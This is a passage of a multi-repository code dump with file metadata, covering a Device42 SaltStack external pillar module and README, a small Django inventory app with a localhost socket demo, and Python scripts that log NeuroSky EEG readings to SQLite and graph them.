'%s'\n # AND view_device_v1.name=view_device_custom_fields_v1.device_name\" % (fields_to_get, nodename),\n # original \"query\": \"SELECT %s FROM view_device_v1 WHERE name = '%s'\" % (fields_to_get, nodename),\n # works \"query\": \"SELECT %s FROM view_device_custom_fields_v1 WHERE device_name='%s' \" % (fields_to_get, nodename),\n \"header\": \"yes\"\n }\n print('generated payload: ' + json.dumps(payload, indent=4))\n headers = {'Accept': 'application/json'}\n auth = (config['user'], config['pass'])\n url = \"%s/services/data/v1.0/query/\" % config['host']\n sslverify = config['sslverify']\n\n try:\n response = _req(url, payload, auth, headers, sslverify)\n except Exception as e:\n print(\"D42 Error: {0}\".format(str(e)))\n return None\n\n return response\n\n\ndef generate_simple_query(fields, nodename):\n selectors = \"\"\n if len(fields) > 1:\n for f in fields:\n if isinstance(f, str):\n print('yes: ' + f)\n selectors += \"%s,\" % f\n else:\n # throw exception for type error\n print('no: ' + f)\n selectors = selectors[:-1] # remove coma which will trail this due to loop above\n else: # only 1 field in fields...\n selectors += fields\n\n # write the simple query\n # put selectors and nodename into simple query\n query = \" SELECT %s FROM view_device_v1 WHERE name = '%s' \" % (selectors, nodename)\n return query\n\n\ndef main():\n config = get_config('settings_d42.yaml')\n if len(sys.argv) < 2:\n print('Error: Missing hostname to test query')\n print('Usage: {0} <hostname>'.format(sys.argv[0]))\n return None\n else:\n nodename = sys.argv[1]\n\n if config['query'] is not None:\n query = config['query'].format(minion_name=nodename)\n else:\n query = generate_simple_query(config['default_fields_to_get'], nodename)\n\n print('\\n\\n query: %s \\n\\n ' % query)\n\n response = request_minion_info(query, config)\n\n if response:\n listrows = response.text.split('\\n')\n fields = listrows[0].split(',')\n rows = csv.reader(listrows[1:])\n out = []\n for row in rows:\n items = zip(fields, row)\n item = {}\n for (name, value) in items:\n item[name] = value.strip()\n out.append(item)\n print(\"output: \" + json.dumps(out[0], indent=4, sort_keys=True))\n return out\n else:\n return None\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5614585876464844, "alphanum_fraction": 0.5682202577590942, "avg_line_length": 26.24342155456543, "blob_id": "ed00ee8c33520a71ac697dc714035999515a2abf", "content_id": "201607e9a8c12a4ad594aabc6d269ef47535b8b3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4141, "license_type": "permissive", "max_line_length": 89, "num_lines": 152, "path": "/d42.py", "repo_name": "osanchez42/d42_saltstack_external_pillar", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\nimport csv\nimport json\nimport os\nimport logging\n\n# This is the main external pillar script\n\nlog = logging.getLogger(__name__)\nCUR_DIR = os.path.dirname(os.path.abspath(__file__))\n\n# check to ensure requests + yaml are available \ntry:\n import requests\n\n REQUESTS_LOADED = True\nexcept ImportError:\n REQUESTS_LOADED = False\n log.exception('requests package is required')\ntry:\n import yaml\n\n YAML_LOADED = True\nexcept ImportError:\n YAML_LOADED = False\n log.exception('yaml package is required')\n\n\ndef __virtual__():\n if REQUESTS_LOADED == True and YAML_LOADED == True:\n return True\n return False\n\n\ndef get_config(cfgpath):\n if not os.path.exists(cfgpath):\n if not os.path.exists(os.path.join(CUR_DIR, cfgpath)):\n raise ValueError(\"Config file %s is not found!\" % cfgpath)\n cfgpath = os.path.join(CUR_DIR, cfgpath)\n with open(cfgpath, 'r') as cfgf:\n config = yaml.load(cfgf.read())\n return config\n\n\ndef _req(url, payload, auth, headers, verify=True):\n log.debug(\"_req url-> \" + url)\n log.debug(\"_req payload-> \" + str(payload))\n log.debug(\"_req headers-> \" + str(headers))\n log.debug(\"_req verify-> \" + str(verify))\n response = requests.request(\n \"POST\",\n url,\n data=payload,\n auth=auth,\n headers=headers,\n verify=verify\n )\n log.debug(\"_req response.status_code-> \" + str(response.status_code))\n log.debug(\"_req response.text-> \" + response.text)\n if response.status_code >= 400:\n log.warning('_req D42 Response text: {0}'.format(response.text))\n response.raise_for_status()\n return response\n\n\ndef request_minion_info(query, config):\n payload = {\n \"query\": query,\n \"header\": \"yes\"\n }\n\n headers = {'Accept': 'application/json'}\n auth = (config['user'], config['pass'])\n url = \"%s/services/data/v1.0/query/\" % config['host']\n sslverify = config['sslverify']\n\n try:\n response = _req(url, payload, auth, headers, sslverify)\n except Exception as e:\n log.warning('D42 Error: {0}'.format(str(e)))\n return None\n\n return response\n\n\ndef generate_simple_query(fields, nodename):\n selectors = \"\"\n if len(fields) > 1:\n for f in fields:\n if isinstance(f, str):\n print('yes: ' + f)\n selectors += \"%s,\" % f\n else:\n # throw exception for type error\n print('no: ' + f)\n selectors = selectors[:-1] # remove coma which will trail this due to loop above\n else: # only 1 field in fields...\n selectors += fields\n # write the simple query\n query = \" SELECT %s FROM view_device_v1 WHERE name = '%s' \" % (\n selectors, nodename) # put selectors and nodename into simple query\n return query\n\n\ndef generate_fields_to_get(conf):\n query = \"\"\n if len(conf) > 1:\n for c in conf:\n if isinstance(c, str):\n print\n 'yes: ' + c\n query += \"%s,\" % c\n else:\n print\n 'no: ' + c\n else:\n query += conf\n return query[:-1]\n\n\ndef ext_pillar(minion_id, pillar, arg0):\n log.info(\"running d42 ext_pillar\")\n\n nodename = __grains__['nodename']\n config = get_config('settings_d42.yaml')\n if config['query'] is not None:\n query = config['query'].format(minion_name=nodename)\n else:\n query = generate_simple_query(config['default_fields_to_get'], nodename)\n\n response = request_minion_info(query, config)\n if response:\n listrows = response.text.split('\\n')\n fields = listrows[0].split(',')\n rows = csv.reader(listrows[1:])\n out = []\n for row in rows:\n items = zip(fields, row)\n item = {}\n for (name, value) in items:\n item[name] = value.strip()\n out.append(item)\n\n data = {\n 'minion_id': minion_id,\n 'd42': out[0]\n }\n log.debug(\"out-> \" + json.dumps(data, indent=4, sort_keys=True))\n\n return data\n else:\n return None\n" }, { "alpha_fraction": 0.4375, "alphanum_fraction": 0.65625, "avg_line_length": 14, "blob_id": "5abb6dd744ee5db4dfaa52fafc86366cc3c55fd6", "content_id": "c714b86624b10e5460e0088e911f7b62eec59680", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 32, "license_type": "permissive", "max_line_length": 16, "num_lines": 2, "path": "/requirements.txt", "repo_name": "osanchez42/d42_saltstack_external_pillar", "src_encoding": "UTF-8", "text": "requests==2.13.0\nPyYAML==3.12\n\n\n" }, { "alpha_fraction": 0.6916376352310181, "alphanum_fraction": 0.7125435471534729, "avg_line_length": 33.19403076171875, "blob_id": "0e68c0f4b118baa3bd09fc1ac130c80b0311ff63", "content_id": "beb19eaddf01d8ca1662616347c21fda008cf491", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2296, "license_type": "permissive", "max_line_length": 283, "num_lines": 67, "path": "/README.md", "repo_name": "osanchez42/d42_saltstack_external_pillar", "src_encoding": "UTF-8", "text": "# d42 salt external pillar\n\n\n## What:\nA simple external pillar module for Salt that allows for importing Device42 fields into Salt Pillars. \n\n## Why:\nBy syncing data stored in your Device42 CMDB with their respective servers / minions as managed by Salt, all of your configuraiton information feeds into granular, actionable salt commands. This information can be used to power any number of automations: \n- Provisioning a new server based on classifications in Device42.\n- Remediating an issue with a proven workflow.\n- Performing maitnence on all servers in a specific environment (Production, Staging, Development, etc).\n- Gathering specific information about a server for use in ITSM ticketing software. \n\n## How: \nThe D42 Salt External Pillar will query D42 for a set of fields with respect to each of your salt minions configured to utilize it. The set of fields from D42 can be configured based on raw DOQL queries or can be generically used to fetch fields from the main device table in D42. \n\n[You can learn more about this integration and read about some use cases on the Device42 blog](https://www.device42.com/blog/2017/10/using-device42-with-salt-external-pillar/)\n\n## Installation\n\nEdit `/etc/salt/master` on your Salt Master so that it knows to look for the d42 external pillars module\n```\nextension_modules: /srv/ext # a common location for salt modules \next_pillar:\n - d42:\n```\n\nClone this repo. Fill in your information into the settings example and rename it to `settings_d42.yaml`\n\nMove `d42.py` and `settings_d42.yaml` into `/srv/ext/pillar` \n\nRestart your salt master and salt minion services \n```\n$ service salt-master restart \n$ service salt-minion restart\n```\n\nRefresh your Salt Pillars across all your minion devices: \n```\n$ salt '*' saltutil.refresh_pillar \n```\n\nTest that you're d42 pillar has data in it:\n```\n$ salt '*' pillar.items\nubuntu:\n ----------\n d42:\n ----------\n os_name:\n Ubuntu\n os_version:\n 14.04\n salt_node_id:\n ubuntu.saltmaster5\n service_level:\n Production\n tags:\n saltmaster,salt\n minion_id:\n ubuntu\n nodename:\n ubuntu.saltmaster5\n```\n\n\nPlease get in touch with any questions or help with designing your integration \n\n \n\n" } ]
4
Arellano1995/projekt
https://github.com/Arellano1995/projekt
917058446326b4a779a6966e00cb4ecb3847145f
717917ba2910b20375b5831d1aacd1d7a0a6c201
6977f99fbeb11120fa9acb93aa9cb42a67d1a6e0
refs/heads/master
2023-04-30T18:31:51.476398
2019-11-30T03:41:54
2019-11-30T03:41:54
221,770,757
0
0
MIT
2019-11-14T19:24:29
2019-11-30T03:42:05
2022-04-22T22:49:41
Python
[ { "alpha_fraction": 0.6754221320152283, "alphanum_fraction": 0.6810506582260132, "avg_line_length": 32.28125, "blob_id": "9ccd345601d9e85a9291c224ac1737c1b236b976", "content_id": "91b23fbe7de39b7a3cdb328c0822aaa68737eabc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1066, "license_type": "permissive", "max_line_length": 93, "num_lines": 32, "path": "/main/inventario/models.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom djmoney.models.fields import MoneyField\n\n# Modelo de productos\nclass Producto(models.Model):\n autor = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n nombre = models.CharField(max_length=70)\n marca = models.CharField(max_length=70)\n descripcion = models.TextField()\n precio = MoneyField(max_digits=8, decimal_places=2, default_currency='MXN')\n stock_minimo = models.IntegerField(blank=True, null=True)\n stock_maximo = models.IntegerField(blank=True, null=True)\n \n #list_display =('nombre', 'precio')\n\n def guardar(self):\n self.save()\n\n def __str__(self):\n return self.nombre\n\nclass Stock(models.Model):\n producto = models.ForeignKey(Producto, on_delete=models.CASCADE, blank=False, null=False)\n stock_actual = models.IntegerField(blank=False, null=False)\n\n def guardar(self):\n self.save()\n\n def __str__(self):\n #return self.producto + self.stock_actual\n #return '%s %s' % (self.producto, self.stock_actual)\n return str(self.producto)\n\n" }, { "alpha_fraction": 0.7589285969734192, "alphanum_fraction": 0.7767857313156128, "avg_line_length": 31.071428298950195, "blob_id": "2fa614ccabae6804e199959955e354814dd4f029", "content_id": "6cf13b190c319d58d8f5cc1d6113f8c0d4685860", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 448, "license_type": "permissive", "max_line_length": 56, "num_lines": 14, "path": "/Cliente_1.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# Importamos las librerias necesarias\nimport socket\n# Establecemos el tipo de socket/conexion\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nport = 5000 # Puerto de comunicacion\n# Realizamos la conexion al la IP y puerto\nsock.connect(('localhost',port))\n# Leemos los datos del servidor\ndata = sock.recv(4096)\n# Cerramos el socket\nsock.close()\n# Mostramos los datos recibidos\nprint(data.decode())\ninput(\"precione una tecla para continuar\")" }, { "alpha_fraction": 0.7948718070983887, "alphanum_fraction": 0.7948718070983887, "avg_line_length": 21.428571701049805, "blob_id": "834f5cc3f530d5485e471f6b2f1f90a429f31cd4", "content_id": "c9bc5593280338552101f4fe9a33118ca71656e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "permissive", "max_line_length": 32, "num_lines": 7, "path": "/main/ventas/admin.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Venta\n#Fichero\n\n# Register your models here.\n# admin.site.register(Venta)\n#admin.site.register(Fichero)" }, { "alpha_fraction": 0.5155279636383057, "alphanum_fraction": 0.5745341777801514, "avg_line_length": 17.941177368164062, "blob_id": "5afb37e0044e208fa73a9aeed8f04c959bb6b3a0", "content_id": "3a3db4c988da119e00a991bd08b6a4f5f99e405e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 322, "license_type": "permissive", "max_line_length": 47, "num_lines": 17, "path": "/main/acervo/migrations/0003_remove_fichero_fecha.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.7 on 2019-11-14 22:37\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('acervo', '0002_fichero_fecha'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='fichero',\n name='fecha',\n ),\n ]\n" }, { "alpha_fraction": 0.7567237019538879, "alphanum_fraction": 0.7628361582756042, "avg_line_length": 42.105262756347656, "blob_id": "7be2104adf35f0cde866b2510e6352f47aab3fac", "content_id": "93d39750cfdbe588f554cafb59bdc95c6366b27b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 818, "license_type": "permissive", "max_line_length": 96, "num_lines": 19, "path": "/Servidor_1.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# Importamos las librerias necesarias\nimport socket\n# Establecemos el tipo de socket/conexion\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nport = 5000 # Puerto de comunicacion\nsock.bind(('localhost',port)) # IP y Puerto de conexion en una Tupla\n\nprint (\"esperando conexiones en el puerto \", port)\n# Vamos a esperar que un cliente se conecte\n# Mientras tanto el script se va a pausar\nsock.listen(1)\n# Cuando un cliente se conecte vamos a obtener la client_addr osea la direccion\n# tambien vamos a obtener la con, osea la conexion que servira para enviar datos y recibir datos\ncon, client_addr = sock.accept()\ntext = \"Hola, soy el servidor!\" # El texto que enviaremos\ncon.send(text.encode()) # Enviamos el texto al cliente que se conecta\n\ncon.close() # Cerramos la conexion\nsock.close() # Cerramos el socket" }, { "alpha_fraction": 0.7906976938247681, "alphanum_fraction": 0.7906976938247681, "avg_line_length": 20.5, "blob_id": "9f576139a87b85e48b7fa5ef3de4784f066c0431", "content_id": "71786f645a844250c22a1b5dae8c334990edbf35", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 43, "license_type": "permissive", "max_line_length": 32, "num_lines": 2, "path": "/README.md", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# projekt\n Programacion Cliente - Servidor\n" }, { "alpha_fraction": 0.4877384305000305, "alphanum_fraction": 0.5722070932388306, "avg_line_length": 19.38888931274414, "blob_id": "8cb8b300fe086c9235c529606ad27c9207e42b58", "content_id": "32ce28e6f84356b29abf300fdb932c7507bc4f59", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 367, "license_type": "permissive", "max_line_length": 50, "num_lines": 18, "path": "/main/inventario/migrations/0003_auto_20191112_1340.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.7 on 2019-11-12 21:40\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('inventario', '0002_auto_20191112_1329'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='stock',\n old_name='nombre',\n new_name='producto',\n ),\n ]\n" }, { "alpha_fraction": 0.5739549994468689, "alphanum_fraction": 0.5980707406997681, "avg_line_length": 26.04347801208496, "blob_id": "89760c23c5afb348da813005ed25809d8b360aeb", "content_id": "3fc10a9864c6bf2393e488a01741682b7338d577", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 622, "license_type": "permissive", "max_line_length": 114, "num_lines": 23, "path": "/main/ventas/migrations/0001_initial.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.7 on 2019-11-14 02:51\n\nfrom django.db import migrations, models\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Venta',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('fecha_venta', models.DateTimeField(default=django.utils.timezone.now)),\n ('stock_maximo', models.IntegerField(blank=True, null=True)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.670634925365448, "alphanum_fraction": 0.670634925365448, "avg_line_length": 26.94444465637207, "blob_id": "fb4a2c85c462a36eda6eef16058c18eb6dfcca84", "content_id": "bcedd49ec8d635250b9e2252faa343b68b57bb24", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 504, "license_type": "permissive", "max_line_length": 68, "num_lines": 18, "path": "/main/acervo/models.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils import timezone\n\n# Create your models here.\nclass Fichero(models.Model):\n # file will be uploaded to MEDIA_ROOT/uploads\n autor = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n fichero = models.FileField(upload_to='uploads/')\n # fecha = models.DateTimeField(\n # default=timezone.now)\n\n\n def guardar(self):\n # self.fecha_venta = timezone.now()\n self.save()\n\n def __str__(self):\n return str(self.fichero) \n" }, { "alpha_fraction": 0.7471264600753784, "alphanum_fraction": 0.7471264600753784, "avg_line_length": 16.399999618530273, "blob_id": "4159b5a7ee803095924f0c5b705c254330d350aa", "content_id": "becec73bc0e479ffde6e7a2aa292df91b770c78a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 87, "license_type": "permissive", "max_line_length": 33, "num_lines": 5, "path": "/main/acervo/apps.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass AcervoConfig(AppConfig):\n name = 'acervo'\n" }, { "alpha_fraction": 0.6169405579566956, "alphanum_fraction": 0.6194690465927124, "avg_line_length": 28.33333396911621, "blob_id": "1ac0e33e164279b6a0005389e8b98189b524fd49", "content_id": "75dca663521a590d60ad610b514307ee6e680933", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 791, "license_type": "permissive", "max_line_length": 74, "num_lines": 27, "path": "/main/ventas/models.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils import timezone\n\n# Create your models here.\nclass Venta(models.Model):\n fecha_venta = models.DateTimeField(\n default=timezone.now)\n stock_maximo = models.IntegerField(blank=True, null=True)\n\n def guardar(self):\n self.fecha_venta = timezone.now()\n self.save()\n\n def __str__(self):\n return self.fecha_venta\n\n# # # class Fichero(models.Model):\n# # # # file will be uploaded to MEDIA_ROOT/uploads\n# # # nombre = models.CharField(max_length=70)\n# # # autor = models.ForeignKey('auth.User', on_delete=models.CASCADE)\n# # # fichero = models.FileField(upload_to='uploads/')\n\n# # # def guardar(self):\n# # # self.save()\n\n# # # def __str__(self):\n# # # return self.nombre" }, { "alpha_fraction": 0.5515527725219727, "alphanum_fraction": 0.5751552581787109, "avg_line_length": 28.814815521240234, "blob_id": "0e6bf2cb1a7d56bfc071aeb775976b76c9d808f4", "content_id": "ffe94a5692537a48d29454b0058edc5eed0aca31", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 805, "license_type": "permissive", "max_line_length": 117, "num_lines": 27, "path": "/main/inventario/migrations/0002_auto_20191112_1329.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.7 on 2019-11-12 21:29\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('inventario', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='producto',\n old_name='stock_actual',\n new_name='stock_maximo',\n ),\n migrations.CreateModel(\n name='Stock',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('stock_actual', models.IntegerField()),\n ('nombre', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='inventario.Producto')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.8022598624229431, "alphanum_fraction": 0.8022598624229431, "avg_line_length": 24.428571701049805, "blob_id": "17b6dfbc3e04025751760bcd14240067cb45e873", "content_id": "337914adafd00cb0cff3a42939a0cfa474478d2e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "permissive", "max_line_length": 37, "num_lines": 7, "path": "/main/inventario/admin.py", "repo_name": "Arellano1995/projekt", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Producto , Stock \n#from .models import Stock\n\n# Registro de modelos\nadmin.site.register(Producto)\nadmin.site.register(Stock)" } ]
13
mindsigns/EEG_View
https://github.com/mindsigns/EEG_View
9cf9691829cd9b3fd6fbd47408a4a8737018b070
b50953cd0aa152ddbf61f6b9c175d24341dd88bb
3d3c1ed1addf51cae610fd0bf7b078ca0feece96
refs/heads/master
2021-01-19T16:40:33.687289
2017-08-22T03:18:58
2017-08-22T03:18:58
101,015,942
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5670731663703918, "alphanum_fraction": 0.5884146094322205, "avg_line_length": 17.22222137451172, "blob_id": "d8aad1a31bd22c55c4ea8f4bc299393e44f2487e", "content_id": "55fe853ddd748566a642e5d6e101be5d5f96b6e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 328, "license_type": "no_license", "max_line_length": 36, "num_lines": 18, "path": "/pair.py", "repo_name": "mindsigns/EEG_View", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nfrom parser import Parser\nimport sys\n\np = Parser()\n\nif len(sys.argv) == 0:\n print \"usage: pair.py on | off\"\n sys.exit(2)\nelif sys.argv[1] == 'on':\n # connect\n p.write_serial(\"\\xc2\")\nelif sys.argv[1] == 'off':\n # disconnect\n p.write_serial(\"\\xc1\")\nelse:\n print \"Error\"\n sys.exit(2)\n" }, { "alpha_fraction": 0.707379162311554, "alphanum_fraction": 0.7175572514533997, "avg_line_length": 77.5999984741211, "blob_id": "7ee146575afdadbb1ae0038942bb510ac249408c", "content_id": "bc493268b3a84d7f723142297895d61703158f62", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 393, "license_type": "no_license", "max_line_length": 141, "num_lines": 5, "path": "/eeg_view/start.sh", "repo_name": "mindsigns/EEG_View", "src_encoding": "UTF-8", "text": "#!/bin/sh\ncd `dirname $0`\n#exec erl -config priv/sys.config -pa $PWD/ebin $PWD/deps/*/ebin -boot start_sasl -s reloader -s eeg_view\n#exec /home/jon/src/Erlang/Erlang17.0/bin/erl -config priv/sys.config -pa $PWD/ebin $PWD/deps/*/ebin -boot start_sasl -s reloader -s eeg_view\nexec erl -config priv/sys.config -pa $PWD/ebin $PWD/deps/*/ebin -boot start_sasl -s reloader -s eeg_view -name eegview\n" }, { "alpha_fraction": 0.6665172576904297, "alphanum_fraction": 0.6835500001907349, "avg_line_length": 28.342105865478516, "blob_id": "726b72f3760f2fd988841cf81a981296ff9a7346", "content_id": "f7d11a2ee39f060b9049368b8dde9728dfd55d8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2231, "license_type": "no_license", "max_line_length": 370, "num_lines": 76, "path": "/neuro_logger.py", "repo_name": "mindsigns/EEG_View", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\nDESCRIPTION\n A basic EEG logging program for the NeuroSky Mindwave headset.\n Data is logged into a sqlite db for later use.\n\nAUTHOR\n jon <[email protected]>\n\n\"\"\"\n# NeuroPy\n# https://github.com/lihas/NeuroPy\n\nfrom NeuroPy import NeuroPy\nimport sqlite3\nimport signal\nimport time\nimport sys\n\n\ndef timestamp():\n now = time.time()\n localtime = time.localtime(now)\n milliseconds = '%03d' % int((now - int(now)) * 1000)\n return time.strftime('%Y%m%d%H%M%S', localtime) + milliseconds\n\n\ndef signal_handler(signal, frame):\n print 'Finished logging'\n cur.execute('''UPDATE session Set StopTime = ? WHERE ID = ?''', (timestamp(), SessId))\n con.commit()\n object1.stop()\n con.close()\n sys.exit(0)\n\ndef attention_callback(attention_value):\n \"this function will be called everytime NeuroPy has a new value for attention\"\n print \"Value of attention is\",attention_value\n return None\n\n# The MindWave device\nobject1=NeuroPy(\"/dev/ttyUSB0\", 115200) \n\ncon = sqlite3.connect('./eeg.db')\ncur = con.cursor()\n\n# Setup signal handler\nsignal.signal(signal.SIGINT, signal_handler)\n\n\n# Get some session input before recording\nSessName = raw_input('Session name: ')\nSessNotes = raw_input('Session notes: ')\ncur.execute('''INSERT INTO session(StartTime, Notes, Name) VALUES (?, ?, ?)''', (timestamp(), SessNotes, SessName))\ncon.commit()\ncur.execute('''SELECT ID FROM session WHERE Name = ?''', (SessName,))\nSessIdtmp = cur.fetchone()\n# From tuple to int\nSessId = SessIdtmp[0]\n\nprint (\"Logging to session %s\" % SessName);\n\n\n#set call back:\nobject1.setCallBack(\"attention\",attention_callback)\n#call start method\nobject1.start()\n\nwhile True:\n time.sleep(0.5)\n ts = timestamp()\n cur.execute('''INSERT INTO eeg(Timestamp, Meditation, Attention, Delta, Theta, HighAlpha, LowAlpha, HighBeta, LowBeta, MidGamma, LowGamma) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)''', (ts, object1.meditation, object1.attention, object1.delta, object1.theta, object1.highAlpha, object1.lowAlpha, object1.highBeta, object1.lowBeta, object1.midGamma, object1.lowGamma))\n con.commit() \n if(object1.poorSignal>10):\n print \"Poor Signal: \", object1.poorSignal\n # object1.stop()\n\n" }, { "alpha_fraction": 0.6687816977500916, "alphanum_fraction": 0.6878172755241394, "avg_line_length": 31.83333396911621, "blob_id": "d134301a930e789d5010076a9c317b9a5ca57f82", "content_id": "87b6f46d9e389bb32fd7783f1f03c2eeed947e1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3152, "license_type": "no_license", "max_line_length": 92, "num_lines": 96, "path": "/neuro_grapher.py", "repo_name": "mindsigns/EEG_View", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\nGraphs EEG data from a sqlite db.\n\"\"\"\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import *\nimport sqlite3\n\n\ncon = sqlite3.connect('./eeg.db')\ncur = con.cursor()\n\ncur.execute('''SELECT ID, Name, Notes FROM session''')\nrows = cur.fetchall()\n\n# LowFi menu\nprint (30 * '-')\nprint \"ID : TITLE\\t:: DESCRIPTION\"\nprint (30 * '-')\nfor row in rows:\n print row[0],\":\", row[1], \"\\t:: \",row[2]\nprint (30 * '-')\nSession= raw_input('Session to graph <ID>: ')\n\ncur.execute('''SELECT StartTime, StopTime FROM session WHERE ID=?''', (Session,))\ntimestamps = cur.fetchone()\nStart = timestamps[0]\nStop = timestamps[1]\n\ncur.execute('''SELECT Meditation FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nmeditation=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT Attention FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nattention=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT Delta FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\ndelta=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT Theta FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\ntheta=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT LowAlpha FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nlowAlpha=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT HighAlpha FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nhighAlpha=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT LowBeta FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nlowBeta=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT HighBeta FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nhighBeta=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT MidGamma FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nmidGamma=[r[0] for r in cur.fetchall()]\n\ncur.execute('''SELECT LowGamma FROM eeg WHERE Timestamp BETWEEN ? AND ?''', (Start, Stop))\nlowGamma=[r[0] for r in cur.fetchall()]\n\n\nf, axarr = plt.subplots(5, sharex=True)\n\n#plt.plot(delta, label=\"Delta\")\n#plt.plot(theta, label=\"Theta\")\n#plt.plot(lowAlpha, label=\"Low Alpha\")\n#plt.plot(highAlpha, label=\"High Alpha\")\n#plt.plot(lowBeta, label=\"Low Beta\")\n#plt.plot(highBeta, label=\"High Beta\")\n#plt.plot(lowGamma, label=\"Low Gamma\")\n#plt.plot(midGamma, label=\"Mid Gamma\")\n#plt.plot(meditation, label=\"Meditation\")\n#plt.plot(attention, label=\"Attention\")\n\naxarr[0].plot(delta, label=\"Delta\")\naxarr[0].plot(theta, label=\"Theta\")\n\naxarr[1].plot(highAlpha, label=\"High Alpha\")\naxarr[1].plot(lowAlpha, label=\"Low Alpha\")\n\naxarr[2].plot(lowBeta, label=\"Low Beta\")\naxarr[2].plot(highBeta, label=\"High Beta\")\n\naxarr[3].plot(lowGamma, label=\"Low Gamma\")\naxarr[3].plot(midGamma, label=\"Mid 